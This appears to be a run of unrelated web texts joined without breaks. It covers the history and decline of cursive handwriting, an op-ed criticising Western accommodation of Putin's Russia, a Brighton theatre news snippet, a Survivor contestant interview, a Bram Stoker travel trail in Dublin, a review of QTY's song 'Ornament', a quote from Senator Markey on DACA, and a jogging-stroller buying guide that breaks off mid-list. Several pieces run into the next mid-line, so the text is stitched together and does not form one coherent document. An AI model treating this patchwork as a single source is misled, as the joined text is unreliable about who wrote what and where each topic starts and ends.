Although women's handwriting had noticeably different particulars from men's, the general forms were not prone to rapid change. In the mid-19th century, most children were taught the contemporary cursive; in the United States, this usually occurred in second or third grade (around ages seven to nine). Few simplifications appeared as the middle of the 20th century approached.[citation needed]
After the 1960s, a movement originally begun by Paul Standard in the 1930s to replace looped cursive with cursive italic penmanship resurfaced. It was motivated by the claim that cursive instruction was more difficult than it needed to be: that conventional (looped) cursive was unnecessary, and it was easier to write in cursive italic. Because of this, a number of various new forms of cursive italic appeared, including Getty-Dubay, and Barchowsky Fluent Handwriting. In the 21st century, some of the surviving cursive writing styles are Spencerian, Palmer Method, D'Nealian, and Zaner-Bloser script.[9]
Decline of English cursive in the United States [ edit ]
One of the earliest forms of new technology that caused the decline of handwriting was the invention of the ballpoint pen, patented in 1888 by John Loud. Two brothers, László and György Bíró, further developed the pen by changing the design and using different ink that dried quickly. With their design, it was guaranteed that the ink would not smudge, as it would with the earlier design of pen, and it no longer required the careful penmanship one would use with the older design of pen. After World War II, the ballpoint pen was mass-produced and sold for a cheap price, changing the way people wrote. Over time the emphasis of using the style of cursive to write slowly declined[quantify], only to be later impacted by other technologies such as the phone, computer, and keyboard.[10][11]
Cursive has been in decline throughout the 21st century due to its perceived lack of necessity. The Fairfax Education Association, the largest teachers' union in Fairfax County, Virginia, has called cursive a "dying art". Many consider cursive too tedious to learn and believe that it is not a useful skill.[12][13]
On the 2006 SAT, a United States post-secondary education entrance exam, only 15 percent of the students wrote their essay answers in cursive.[14] However, students might be discouraged from using cursive on standardized tests due to exams written in hard to read handwriting receiving fewer marks, and some graders may have difficulties reading cursive.[15]
In a 2007 survey of 200 teachers of first through third grades in all 50 American states, 90 percent of respondents said their schools required the teaching of cursive.[16]
A 2008 nationwide survey found elementary school teachers lacking formal training in teaching handwriting to students. Only 12 percent of teachers reported having taken a course in how to teach it.[17]
In 2012, the American states of Indiana and Hawaii announced that their schools will no longer be required to teach cursive (but will still be permitted to), and instead will be required to teach "keyboard proficiency". Since the nationwide proposal of the Common Core State Standards in 2009, which do not include instruction in cursive, the standards have been adopted by 44 states as of July 2011, all of which have debated whether to augment them with cursive.[18][19]
Conservation efforts and cognitive benefits [ edit ]
Many historical documents, such as the United States Constitution, are written in cursive—the inability to read cursive therefore precludes one from being able to fully appreciate such documents in their original format.[20] Despite the decline in the day-to-day use of cursive, it is being reintroduced to the curriculum of schools in the United States. States such as California, Idaho, Kansas, Massachusetts, North Carolina, South Carolina, New Jersey, and Tennessee have already mandated cursive in schools as a part of the Back to Basics program designed to maintain the integrity of cursive handwriting.[21] Cursive instruction is required by grade 5 in Illinois, starting with the 2018-2019 school year.[22] Some[who?] argue that cursive is not worth teaching in schools and "in the 1960s cursive was implemented because of preference and not an educational basis; Hawaii and Indiana have replaced cursive instruction with 'keyboard proficiency' and 44 other states are currently weighing similar measures."[23][attribution needed]
With the widespread use of computers, researchers set out to test the effectiveness of both mediums. In a study done by Pam Mueller which compared scores of students who took notes by hand and via laptop computer showed that students who took notes by hand showed advantages in both factual and conceptual learning.[24] Another study done by Anne Mangen showed that children showed an acceleration in learning new words when they wrote them by hand rather than on a computer screen.[25] Learning to write in cursive is alleged (by its practitioners) to be a stepping stone to developing neat handwriting, and, in a third study conducted by Florida International University, professor Laura Dinehart concluded that students with neater handwriting tend to develop better reading and writing skills, though it is difficult to conclude causation from such an association.[12] Aside from these cognitive benefits, students with dyslexia, who have difficulty learning to read because their brains have difficulty associating sounds and letter combinations efficiently, have found that cursive can help them with the decoding process because it integrates hand-eye coordination, fine motor skills and other brain and memory functions.[26] However, students with dysgraphia may be badly served, even substantially hindered, by demands for cursive.[27]
German [ edit ]
Up to the 19th century, Kurrent (also known as German cursive) was used in German language longhand. Kurrent was not used exclusively, but in parallel to modern cursive (which is the same as English cursive). Writers used both cursive styles: location, contents and context of the text determined which style to use. A successor of Kurrent, Sütterlin, was widely used in the period 1911-1941 until the Nazi Party banned it, and German speakers brought up with Sütterlin continued to use it well into the post-war period.
Today, three different styles of cursive writing are taught in German schools, the Lateinische Ausgangsschrift [de] (introduced in 1953), the Schulausgangsschrift [de] (1968), and the Vereinfachte Ausgangsschrift [de] (1969).[28] The German National Primary Schoolteachers' Union has proposed replacing all three with Grundschrift, a simplified form of non-cursive handwriting adopted by Hamburg schools.[29]
Russian [ edit ]
The standard modern Russian Cyrillic cursive alphabet with uppercase and lowercase letters, used in school education.
The Russian Cursive Cyrillic alphabet is used (instead of the block letters) when handwriting the modern Russian language. While several letters resemble Latin counterparts, many of them represent different sounds. Most handwritten Russian, especially personal letters and schoolwork, uses the cursive Russian (Cyrillic) alphabet. Most children in Russian schools are taught in the 1st grade how to write using this Russian script.
Chinese [ edit ]
Cursive forms of Chinese characters are used in calligraphy; "running script" is the semi-cursive form and "rough script" (mistakenly called "grass script" due to misinterpretation) is the cursive. The running aspect of this script has more to do with the formation and connectedness of strokes within an individual character than with connections between characters as in Western connected cursive. The latter are rare in hanzi and in the derived Japanese kanji characters which are usually well separated by the writer.
Semi-cursive style Calligraphy of Chinese poem by Mo Ruzheng
Classical poem in cursive script at Treasures of Ancient China exhibit
Eight cursive characters for dragon
Calligraphy of both cursive and semi-cursive by Dong Qichang
Four columns in cursive script quatrain poem, Quatrain on Heavenly Mountain. Attributed to Emperor Gaozong of Song, the tenth Chinese Emperor of the Song Dynasty
One page of the album "Thousand Character classic in formal and Cursive script" attributed to Zhi Yong
Examples [ edit ]
See also [ edit ]
Notes [ edit ]
^ Also known as handwriting, looped writing, joint writing, joined-up writing, or running writingThe Kremlin Kowtow
At a recent meeting with Russian liberals in Moscow, a well-known European intellectual started trying to convince them that, as he put it, "Russia is not a dictatorship these days. [President Dmitry] Medvedev is trying to liberalize the system, and with time Russia will become a democracy. You shouldn’t try to hurry things." Not surprisingly, this advice provoked consternation among an audience that had expected at least some encouragement from Continental liberals.
At a conference last month in Berlin, I witnessed another example of this divide. When I started to raise the question of democratic standards in Western-Russian relations, I was interrupted by another Western attendee. "You irritate us," he said. "International relations are not about values; they are about power!" If he is right, Russian liberals will have to reconsider their expectations about the Western opinion-leaders they have long counted on for moral support and understanding.
A consensus seems to be growing among Western policymakers and intellectuals that Russia is not ready for liberalism and that there are even certain advantages to dealing with the illiberal political order built by Prime Minister Vladimir Putin. This may be why Western policy toward Russia has only served to shore up the Russian powers that are pursuing anti-Western interests. The results could be catastrophic — not merely for the activists who are working to make Russia a free country, but for the moral authority of those in the West who preach liberty but practice something quite different.
The U.S. "reset button" policy demonstrates this paradox nicely. The United States, of course, needs to have a dialogue with Russia on security issues, including arms control. But turning a nuclear arms pact into the main item on the agenda only reveals how reluctant both sides are to discuss the real issues at stake — the fundamental political differences between the two societies. Instead, Moscow and Washington revive ghosts of the past and use a Cold-War era mechanism to try to imitate cooperation. In the end, the U.S.-Russian security dialogue will do little to help President Barack Obama accomplish his goals of reining in an aggressive Iran, ending the war in Afghanistan, and advancing a nonproliferation regime. Instead, it will work in the Kremlin’s favor, bolstering Russia’s great-power status and making it easier to prop up the current authoritarian system.
The European Union’s policy on Russia is also helping to maintain the Russian status quo, buying Russian energy resources and raw materials, and helping to finance Russia’s oligarch class and strengthen the political elite. Having accepted Russia into European institutions — the Council of Europe in particular — European leaders try not to notice that Russia’s system does not conform to the very principles these organizations are designed to promote. One could get the impression that, for the sake of advancing their economic interests, European governments have decided not to make an issue out of these principles, convincing themselves that Russia is simply not ready for them yet.
Some Western leaders have no qualms about openly legitimizing the Russian regime. Gerhard Schroeder, who now serves on the board of the Gazprom-led Nord Stream pipeline project, is just the most well-known example of how morally flexible Western leaders can be for the right price. The former German chancellor behaves as Russia’s world envoy, defending the Kremlin’s policies with such enthusiasm that Germans have started to joke, "The parrot sitting on his shoulder speaks with a Russian accent." Another of Putin’s friends is Italian Prime Minister Silvio Berlusconi, the Kremlin advocate who long since seems to have stopped caring about his own reputation. And then there are France’s leaders. In his time, former French President Jacques Chirac did not allow what he called "little" European countries to criticize Putin at EU-Russia summits. Chirac even awarded Putin France’s highest decoration — the insignia of Grand Croix of the Légion d’Honneur. He did it secretly, not wanting to infuriate the French public.
Chirac’s successor, Nicolas Sarkozy, not only thinks it proper to congratulate the Kremlin on manipulated elections, but actually allows the Kremlin to manipulate him politically. In August 2008, when France held the EU presidency, Sarkozy pretended not to notice that Moscow wasn’t fulfilling two key provisions of the Medvedev-Sarkozy plan to settle the Russian-Georgian conflict: withdrawing Russian troops and allowing international discussion on the final status of Georgia’s breakaway regions. This gave the Russian elite further reason to see the European Union as an organization it could string along or simply ignore.
Key to the European policy toward Russia is Germany — and just because Schroeder isn’t in power doesn’t mean Schroederization is at an end. Previous generations of German leaders did business with the Soviet Union, but they at least tried to bring change — or dreamed about it. One gets the impression that the current German elite, on the other hand, is hoping only to avoid change in Putin’s Russia. Although the East Germany-raised Chancellor Angela Merkel was once known as a critic of Russia’s undemocratic tendencies, her government has expanded its economic cooperation with Russia as the German economy has slumped, seeking deals in the shipping and automotive sectors. Germany’s decision to abandon a value-based approach to Russia has encouraged the European Union’s Russia policy to be equally "pragmatic" — focused on maintaining the status quo, in other words.
True, when some Western leaders come to Moscow they make a point of meeting human rights activists or the moderate opposition. "They ask us how they can help us. We explain that they should raise the question of human rights and democracy when talking to Russian leaders," says Arseny Roginski of the human rights group Memorial. "But after that, usually nothing happens."
Western intellectuals are even more prone to the Kremlin’s enticements than the politicians. They battle for the honor of taking part in the Valdai Club — a series of regularly arranged meetings with Russian leaders. At these meetings, prominent attendees have been known to put preapproved questions to the Russians, playing the latter part in the Kremlin-orchestrated show. "Mister prime minister … you are a democrat!" exclaimed a leading French intellectual at the meeting with Putin when he was still president. "You are really a liberal!" declared a well-known German expert at the meeting with Medvedev.
Experts from the European Council on Foreign Relations recently transmitted the Kremlin’s ideas to Western audiences in the essay collection, What Does Russia Think?, which included little in the way of critical assessment, instead simply rehashing justifications for authoritarianism and Moscow’s geopolitical ambitions. Leading Kremlin spin doctor Gleb Pavlovsky argued in the afterword, "The consensus that Putin has created in Russia … is a value-based reality. It is based on the possibility of a free life in a secure environment — something that Americans take for granted." Regretfully, the European experts had no response to this assertion. Does that mean they agree?
Other intellectuals take part in Kremlin-organized forums to discuss new standards for democracy and Russia’s contribution to their development. One such forum took place under Medvedev’s aegis in Yaroslavl last autumn. The French and Spanish prime ministers, François Fillon and José Luis Rodríguez Zapatero, respectively, who attended the event, clearly had no real idea what was going on, but their presence raised the event’s prestige. Among those taking part in the forum were Western intellectual gurus such as Alvin Toffler, Immanuel Wallerstein, and Fareed Zakaria — who should certainly know better than to give their names to an event that suggests any positive link between "Russia" and "democracy."
One influential European leader, Robert Cooper, the E.U. director-general for external and politico-military affairs, does not shy from discussing democracy with the Russian political elite. In an interview with the pro-Kremlin Russian Institute he concluded, "Sometimes I think that the word ‘democracy’ becomes problematic. I would prefer to talk about responsible, open government that defends the rights of nations … but has enough legitimacy to use tough administrative measures when there is a need for them." Such an understanding of democracy is exactly what the current Russian government is looking for.
Russia’s reform-minded forces have long since stopped calling on the West to help advance democracy in Russia. They understand that transforming Russia is a job for Russian society itself. But reform-minded Russians expect the West at least to avoid holding back change by supporting the authoritarian forces that would suppress it. Prominent Russian human rights activists and liberals like Sergei Kovalev, Garry Kasparov, and Grigory Yavlinsky, long considered pro-Western voices, have recently become critics of the West’s increasingly accommodating policies toward Russia. One might say that these voices are just a small minority of Russian society. But if the West loses this pro-Western minority, it will lose Russia altogether.
So what would a more principled Russia policy entail? Western leaders must keep liberal and democratic principles in mind while dealing with the Russian elite. They must be wary of the latest fairy tales about "modernization," avoid naively spreading the Kremlin’s ideas, and try to understand what is actually taking place inside the Russian system, which is showing signs of serious instability and degradation and may soon become a challenge for the West.
At the moment, there are no hints that the West is ready to make even these minimal efforts. This begs the question: How can Western civilization resolve its own internal problems with democracy if it abandons its mission of promoting liberty?An open-air theatre will be built in a popular park after plans were voted through by council.
The proposal for the Brighton Open Air Theatre (Boat) in Dyke Road Park was up before Brighton and Hove City Council’s planning committee on Wednesday (October 8).
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of his positive image in the Super Bowl.
The Go 2 Guy also writes for SeattlePI.com and KitsapSun.com. You can reach Jim at [email protected] and follow him on Twitter @cougsgo.Debbie Wanner is one of the four Kaoh Rong returnees on the upcoming Survivor: Game Changers season. She started her first season as part of the Brains tribe, along with her fellow Game Changers castmate Aubry Bracco, and ice cream supremo Neal Gottlieb. Initially, it seemed like the younger four of the Brains tribe had taken control, with Debbie and Joe Del Campo on the outs. But after Liz Markham and Peter Baggenstos started to plot behind their alliance’s back, Neal and Aubry joined forces with Debbie and Joe and blindsided Liz. Even though Debbie and Neal had a working relationship, their personal bond didn’t seem particularly tight, with Neal even questioning some of Debbie’s extravagant claims. Debbie and Neal remained on the same tribe together until Neal’s untimely demise at the hands of a ghastly knee infection at the merge.
Inside Survivor reached out to Neal to get his thoughts on Debbie’s return to Survivor: Game Changers.
Disclaimer: This interview was conducted in June 2016 while Survivor: Game Changers was still filming in Fiji.
1) Hey Neal, thanks for doing this. During Kaoh Rong the editors certainly played up Debbie’s “kookiness,” but we also saw scenes of her talking strategy. How did you perceive Debbie in the game? What was she like to live with day-to-day?
Did they play it up or play it down? Debbie is amazing 24/7. I certainly didn’t think of her as a very strategic player, despite the edit suggesting that she was the Brain behind the Liz blindside. If it weren’t for Aubry and me, that initial vote would have been four votes on Liz, but we convinced Debbie the need to split votes.
Debbie is a kind human being who is mighty entertaining. Sure, she makes you roll your eyes every now and again, but that seems like a small price to pay to be in the company of greatness.
2) It seemed early on that the younger members of the Brains tribe were against Debbie and Joe. But when it came to tribal council, you worked with Debbie to take out Liz. How did that come about? And what was Debbie like to work with as an alliance member?
As was suggested in the first episode, I wanted a Young Bucks alliance, which I thought would give the tribe the best chance of winning challenges by maximizing speed, strength, and agility. However, Liz screwed up and wanted to take me out. And as a result, she needed to be punished. The choice did ultimately come down to whom Debbie and Joe wanted to align with. I was keeping their bellies full, and both Liz and Peter got on Joe’s nerves marginally more than I did.
Working with Debbie was like working with a three-legged rabid kitten with an incredibly low body fat percentage and well-developed abs.
3) In her “Day After” video, Debbie said if she played again she’d try aligning with the more “rude and obnoxious” people. Do you think that is a wise strategy for her? How do you think she should change her game this season?
I think that Debbie thought that she was screwed by the people with good bedside manners and non-threatening gazes, but I’m not convinced that the result would have been different if she went to the dark side. Debbie is a person who can win if she gets to the final and there is always so much stuff coming out of her mouth that you’re never quite sure if she’s speaking in tongues or trying to talk strategy. I think that listening a little more and talking a lot less (most notably about herself) would go a long way to help Debbie.
But then again, given how ridiculous she came off in her edit Debbie may be in an enviable position of not being taken seriously, and she can stealthily move with a purpose to the end.
4) There are four Kaoh Rong members on Season 34. How do you think they’ll interact? Is there still bad blood between Debbie and Aubry?
The dynamics of Debbie and Aubry, Aubry and Tai and Tai and Caleb are interesting ones, given how things went down. After the success of Boston RAmber, one has to imagine that Tai and Caleb would be an easy target if they’re on the same beach, as quite possibly the most cuddlelicious couple in the history of the game (other than Nick and I).
Meanwhile, Aubry and Debbie will probably engage in a staring match. Debbie not trusting Aubry and Aubry staring at Debbie because she likes to stare back, while thinking of coleslaw, because that is often her only care in the world.
Will Tai team up with Aubry after working with her to get to the final and then getting no votes? That might be about as likely as Tai jumping in bed with Debbie thirty seconds into their first date. Or ever. I’m excited to see how these four seek to destroy each other, while the other contestants stand on the sidelines and laugh.
5) Who on this cast do you see as Debbie’s biggest threats and why?
Hold on… I need to actually go to Inside Survivor to see who is on this cast. Aubry is a tricky one. She could be a huge threat to Debbie cause, baby, they might have bad blood even though it used to be mad love. I could see them being each other’s worst enemies simply out of fear.
Andrea is another perfect threat for Debbie. She’ll probably convince Debbie that they’re in a “Boys are stupid throw rocks at them” alliance, use her for a few votes and then dispose of Debbie when her ears start bleeding. Sandra is also one of Debbie’s biggest threats because she is invincible until proven otherwise.
6) On the flip-side, who here should she align with and why?
Who doesn’t need a meat shield? Debbie should find her Adonis and help give one of the alpha males the numbers that he will desperately need. I could see Debbie admiring Brad Culpepper’s tight end, getting into a Foursome with Ozzy, hiding in Tony’s spy shack and swinging on Troyzan’s vine.
7) Putting you on the spot, how far do you think Debbie will make it? And who is your overall pick to win?
I think that Debbie will make it to roughly the same spot, further cementing her career as a professional juror. I’m calling a three-person final with JT, Sandra, and Tony, because that would be ridiculously fun, mostly from the standpoint of the jury being completely perplexed about how they let that happen. At the final tribal, there is a tie for the first time in 34 seasons. Sandra wins because Nick wasn’t in the game to beat her.
8) Perhaps the most important question of all – what is Debbie’s actual, real job?
I asked her what she’s currently doing for work in the green room at the Kaoh Rong finale and got a six-minute answer that told me absolutely nothing. I suspect that she’s independently wealthy and has just been f**king with us this whole time.
9) Before we let you go, what is new in the world of Neal? How has life been since we last saw you on Kaoh Rong?
Life is delightful. I sustained a laceration on my knee while clamming over July 4th requiring six stitches. It looked very much like an underwater volcano, so Mount Saint Neal came to life yet again. Video of that can be found on my Instagram. I also have jury duty next week, which I am very excited about and hoping that I finally get to vote for a winner. Besides that, I am getting ready for Burning Man, am busy growing Three Twins Ice Cream and have been making progress convincing my castmates that I would have won if I hadn’t been pulled.
Thanks again to Neal for taking part. For more on Debbie, you can check out her cast retrospective and official cast bio. Stay tuned to Inside Survivor for more Playing With Game Changers interviews. Survivor: Game Changers premieres March 8, 2017, on CBS.Exploring the Legacy and History
Bram Stoker in Dublin
There I stood, pressed against the glass floor to ceiling window at the top of the Guinness Storehouse. I was totally zoning out, trying to drown the crowd behind me with the “dark stuff” and a remarkable view of Dublin. I peered off into the night sky, blanketed by brown clouds that seemed just low enough to soften the city. My eyes scanned the shadows tracing down streets, around corners and puddles that bounced sparkling reflections of light. I was determined to see something -unusual. Something like a vampire. Something like Bram Stoker’s Dracula.
The legendary Victorian vamp has transcended decades and made his way into pop culture media -adored by the masses. Now more than ever, vampire enthusiasts are tuning in and turning pages to popular bloodletting, romanticized-Goth, action-packed vampire novels. I’d be willing to bet that most adults know who Dracula is, and every neck-biting fan knows who Bram Stoker is. That said, did you know he was a Dubliner? True story!
Bram Stoker was born in the seaside Dublin suburb of Clontarf in 1847 although he spent most his life in Dublin city. It was there that he left a massive bite in the Victorian-era -which surprisingly has been pretty well-preserved today. They don’t call Dublin the “City of Literature” for nothing. Dublin takes its famous works very seriously. Now most of you know this place as one of my favorite cities in the world. I couldn’t think of a better destination to claim homage to the father of Gothic-vampire subculture. So, after a few trips to Ireland I have come up with a sweet Bram Stoker trail for you to enjoy. You can catch a cab (but that would be outrageously pricey), rent a car (but driving in Dublin is straight bananas), or my personal favorite, get chauffeured in style with Blacklane Limousine’s Service in Dublin.
The Historic Trail
The Bram Stoker Family Home – 15 Marino Crescent, Clontarf Dublin 3 – This was the family home of the Stokers. This is a cool link to it. It actually went up for sale last year. His Dublin City Home – 30 Kildare Street, Dublin
Where He Went to School – Trinity College where he studied and received his B.A. in Mathematics and was an athlete.
Where he Worked – Dublin Castle, where Bram Stoker worked as a civil servant.
Where He was Baptized – Church of Ireland, in his home suburb of Clontarf, Dublin 3 Where He was Married to Oscar Wilde’s Girlfriend – St. Anne’s Church on Dawson Street, Dublin
Where He Started a Long and Famous Friendship – The Shelbourne Hotel, where he and Henry Irving started their friendship over dinner.
Where He Found Inspiration for His Novel – Beneath St. Michan’s Church in the crypts, home to the mummified remains of soldiers and wealthy families. You can visit the crypts today. The Fairytale Traveler did!
Read the Fairytale Traveler Report on the St. Michan’s Mummies here.
The Legacy Trail
Bram’s Cafe – Bram took a bite out of Clontarf and you can take a bite at Bram’s Cafe! St. Stephen’s Green – A cool statue of Oscar Wilde, from whom he stole his future wife from.
Irish Writer’s Centre – A painting of Bram Stoker can be found here. Bram Stoker Hotel / Stoker Dracula Organisation – Home to the Stoker Dracula Organisation, this lovely property houses the Stoker Dracula Centre. The Centre features artifacts, a visual screen presentation and scheduled “Classic Nights” in the 21 seated Victorian-styled cinema. I have never been to this place but it looks lovely online. The Stoker Dracula Organisation runs out of the hotel. Dublin’s Writer’s Museum – Features Bram Stoker, among other famous Irish literary legends.
Neck Biting Events for True Vampire Fans
Bram Stoker International Summer School – June 7th-9th, 2014 Vampire Cloak Race – October 31st, 2014 Bram Stoker Festival – Fairytale Traveler and Ireland correspondent, Ed Mooney explored this awesome event in 2013. It was absolutely amazing. This 3 day event calebrates the Gothic culture and literary legend on a whole other level. This year’s festival runs October 24th-27th 2014. Click here for a sample of last year’s brochure! This is killer!
Read more about the Bram Stoker Festival from the Fairytale Traveler report series here.
Love Bram Stoker as much as I do? Check out the Dracula Church St. Mary’s in Whitby, England
Resources:
The Bram Stoker Estate
Trinity College Long Library, first hand account
Wikipedia, Bram Stoker
The Bram Stoker Festival 2013, The Fairytale Traveler as reported by Ed MooneyStruggle is universal, and yet few people are unapologetically open about it. Our innermost tribulations are normally overshadowed by our need to get on with certain tasks, be efficient, put on a smile, and pretend everything is alright. “Ornament”, QTY’s brand new single and companion A-side to “Dress/Undress,” released today, explores one’s most vulnerable moments in a touching manner, and continues the streak of incredible singles released by the New York duo.
Washing one hand, cautioning wind, it’s a community where a handshake is gambling.
And hanging on, or what I meant, just want to be an ornament.
Listen: “Ornament” – QTY
For the first time, Dan Lardner and Alex Niemetz share the vocals at the start of the track. Their voices blend together seamlessly while they sing about insecurities. “A community where a handshake is gambling” references not knowing who to trust, every greeting is a risk – you can win it all or lose it all. “Hanging on” shows that Lardner is making it through this difficult time, but only barely. It is in the image of the ornament where his insecurities move from being external (from the “community” in which he lives) to being internal. The ornament, and Lardner’s desire to be one, can be interpreted as him wanting to be ignored, like any ornament typically is after you first see it, or it may also show an inner wish to be as agreeable and pristine as ornaments are – they do no harm, are used to adorn some other object, and tend to be beautiful.
Lending my keys out to a friend, it’s so much easier if you just let yourself in.
And hanging on, or what I meant, just want to be an ornament.
The first line touches on a theme that is common in QTY’s songs, friendship. Friendship is the cornerstone to QTY’s own existence, and it comes as no surprise that on a song about vulnerabilities and struggle, there are references to friends and letting people into your house and, simultaneously, your life.
Passing by, or being passed.
Throw a thing away, it’s overstayed, strayed the path.
I want it badly, but I can’t stay in one place.
I want hard candy, something sweet without the pain.
The chorus provides us with the song’s most heartbreakingly honest lyrics, where Lardner’s struggle becomes universal and the listener can empathize with QTY by remembering of moments when he or she went through a similar situation. “I want it badly, but I can’t stay in one place” shows the dilemma between wanting something and you getting in your own way of achieving it, while “I want hard candy, something sweet without the pain” shows the desire to have an experience that doesn’t require you to compromise your “something sweet” for “pain” – something that is purely good for you.
Now that I am in a good place I want to escalate, every day a subtle change.
And hanging on, or what I meant, just want to be an ornament.
Niemetz takes charge of the second verse, and sings about recognizing when you’re in a position to try and make things better, not only with yourself but in various different aspects of your life, “every day” comes with “a subtle change”. Her voice is a soothing presence in a song about struggle, sounds better then ever before, and provides a change in dynamic while setting a lighter tone to the song.
Keeping your faith, got all the symptoms of a saint, still a community where the best men tend to break.
And hanging on, or what I meant, just want to be an ornament.
Lardner rejoins Niemetz and they sing about the moment when, despite you doing your best and seemingly having all signs point you towards the right direction, things don’t go your way. You’re “keeping your faith”, following all the rules and being a good person (“got all the symptoms of a saint”), but it seems like you’re stuck in the same place you were before, after all, you’re “still” in “a community where the best men tend to break”.
I want so badly! But I can’t stay in one place.
I want hard candy! I’m afraid my teeth will break.
The next chorus has two added lines which happen to be the song’s last ones. “I want so badly!” changes little to the original line’s meaning, but intensifies the feeling behind it – especially because it is appropriately delivered in a scream-like manner rather than being calmly sung. Replacing “something sweet without the pain” with “I’m afraid my teeth will break” shows the fear one feels in thoroughly letting go and enjoying the “hard candy”, which is what Lardner uses as a metaphor for a good experience. After this line is delivered, Niemetz takes center stage and plays an incredible guitar solo that is a perfect example of her talent and skill and the song fades to a close. Not only that, it is a strong ending to a song about feeling weak, which ultimately shows us that Lardner, and consequently everyone who has been in his position, can overcome their difficulties and come out of tough situations even stronger.
The world needs more songs like “Ornament” – it has unashamedly vulnerable lyrics, but the music is confident and strong, and these two elements intertwine to make sure you are shown the best of QTY. Though Lardner’s honest and transparent lyrics are no surprise, there’s a vulnerability in “Ornament” that we have not yet come across in QTY’s other singles, and this is precisely what makes the song so necessary nowadays: it is not afraid of showing what it truly means to be human, and does not hide one’s insecurities or bury one’s flaws. It is practically impossible to listen to “Ornament” and not be moved by it, and this is a lesson in itself. In our interview with QTY last year, Lardner said “what you live is always enough” to make music, and QTY proves this point by making a beautiful song about living through uncomfortable moments and managing to overcome them. It can be said that “Ornament” is QTY’s strongest offering to date, and after a series of shows in New York, playing at SXSW last month, and having their debut album set for release later this year, QTY is definitely an act to watch out for in 2017.
— — — —
Connect with QTY on
Facebook, Twitter, Instagram
cover © Danny NorthOn Wednesday’s broadcast of CNN’s “New Day,” Senator Ed Markey (D-MA) compared President Trump’s actions on DACA to the actions of Pontius Pilate.
Markey stated, “The president is acting like Pontius Pilate. He’s just washing his hands off this mess, knowing that these are all innocent young people who are caught in the crossfire. And rather than being presidential, rather than standing up and saying that he will be the leader in working with the Republican Party to bring recalcitrant conservative Republicans to the table to get a resolution, he’s just walking away.”
He continued, “And so, ultimately, I’m heartened by Lindsay Graham (R-SC). I’m heartened by some of the words of Speaker Ryan (R-WI). Maybe, just maybe, this could be the breakthrough on immigration, where we find this one piece. We can find a solution to it. We all realize that these young people are not a danger to our country. But it would be far better if the president was saying that right now, if the president was being presidential, if he was being the leader which we need. Because he can’t have it both ways. He can’t say that what President Obama did is unconstitutional, and yet, simultaneously say that he will come back himself and revisit it in six months.”
(h/t Daily Caller)
Follow Ian Hanchett on Twitter @IanHanchettWhat to Consider When Buying a Jogging Stroller
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Investing in a jogging stroller is a great idea! You will be able to exercise comfortably with your baby—it will be a lot of fun for the both of you. Jogging strollers come in a wide variety of styles and colors, so finding the best one for you will take some consideration.
Jogging strollers need to be sturdier than regular strollers. You’ll probably be jogging on concrete most of the time, so the stroller needs to be strong enough to endure the hard surface while you’re jogging at a fast pace.
What Are The Things I Should Consider While Buying a Jogging Stroller
There are several elements to consider when purchasing the best jogging stroller. But, don’t be overwhelmed! We have it all taken care of for you.
Wheels
First, let’s talk about the wheels of your jogging stroller. Unlike regular strollers that have four wheels, jogging strollers only have three wheels. Typically, they measure between 12 and 24 inches—they are much larger than the wheels on a regular stroller.
The larger wheel size is designed to let you easily push the stroller over rough, hard surfaces. You will probably be jogging around your neighborhood or to the park, so the large wheels will help you go over surfaces like gravel, dirt, concrete, and grass.
The wheels on a jogging stroller resemble small bike tires. They need to have their air pressure checked every so often as well. You can easily inflate the wheels with a bike pump if you have one. Unfortunately, jogging stroller wheels can go flat if you go over something sharp. But the good news is, you can top up the tires when you need to, like you would on a car.
The front wheel of your jogging stroller is something important to pay attention to. There are two kinds of front wheels—fixed and swivel wheels. This front wheel determines how you will use your jogging stroller.
Fixed Wheel- A fixed wheel looks like the rear wheel on a bike. It is locked in one position and can’t move. It easily moves over objects when you aren’t jogging on a flat surface. Jogging strollers with fixed wheels are made for parents that are pretty serious about jogging and running. It’s a must if you’re running long distances and if you’re planning to participate in public races, like 5Ks or marathons.
Swivel Wheel- Swivel wheels are a little more laid back. It’s very similar to the front wheel on a bike—it can turn left and right. It makes your jogging stroller easy to steer, but that also means that you can’t be running too fast. If you go over a bump or rough surface, the wheel can easily turn and you will have to pull it back to keep going straight.
Basically, fixed wheels are made for serious exercising, and swivel wheels are made if you want to simply go on a relaxing job around the neighborhood.
Tires
The tire thread and width are also features to take into consideration when purchasing a jogging stroller. Tired come in two forms—bumpy and smooth. The bumpy texture provides better grip when you’re on a rough or slippery ground. The smooth texture will help you easily move your jogging stroller through crowded areas.
The width of the rubber on the tires will determine how easy it is to push the stroller when off-road. Wide, fat tires will flatten out on a hard sidewalk, but will go through uneven terrain with no problems.
To sum things up, if you plan on taking your jogging stroller off-road, then getting a stroller with fat tires is a good idea. If you will use your jogging stroller mostly on hard, flat surfaces, then getting thinner tires is better. It all depends on where you intend to run and jog.
Spokes and Rims
The rim and spokes are inside the tires. They help the wheel keep their round shape while supporting the weight of the entire jogging stroller. Usually, they come in two types—metal and plastic.
Metal Rims-
Metal rims look like the rims of a bike. Metal spokes might not make the wheel structure look as fancy as some of the plastic designs, but they are very practical and will provide a smoother ride for your baby. It might be a good idea to invest in stainless steel spokes because they will be resistant to rust even when wet.
Plastic Rims- Plastic rims and spokes are similar to care tires. They look prettier than the metal types but are much lighter than metal types as well. The only downfall is that plastic is not nearly as durable as metal, and it is prone to fading. Scratches and other marks can easily damage plastic rims and spokes. However, if you’re doing some leisurely jogging or walking, plastic wheels probably will be fine for you.
Suspension
Behind each wheel on your jogging stroller, you will find a coiled spring. This is a shock absorber and is part of your stroller’s suspension system.
Shock absorbers allow the wheel of the stroller to bounce up and down without the rest of the stroller, and your baby, bouncing in the same motion. Some jogging strollers have adjustable shocks, which allow you to adjust the bounciness level.
The shock absorbers are usually on two rear tires, but some strollers have a shock absorber on the front tire as well. You will only need a shock absorber on the front wheel if you are using a double jogging stroller.
Some cheaper models of jogging strollers don’t have suspension system at all. This means a rough ride for your baby, so it’s definitely best to get a stroller with a good suspension system.
Brakes
There are two different types of brakes for jogging strollers. One will help you slow down while the other will keep your stroller from rolling away if you take your hands off it. The brakes are the main safety feature of a jogging stroller, so make sure you get a stroller with reliable brakes.
Most jogging strollers have foot brakes, which prevent you from having to bend over to unlock the wheels. It is definitely a must-have feature on a jogging stroller.
A handbrake will allow you to have complete control while jogging on hills. It is usually attached to the handle bar, and all you need to do is squeeze it to slow the stroller down. However, hand brakes are only found on strollers with fixed wheels.
The good news is, parking brakes are usually on all jogging strollers. So if you stop to catch your breath or get a drink while jogging, you can put on the parking brake so you don’t have to worry about the stroller rolling at all. This is the safest scenario for both you and your baby.
Handlebars
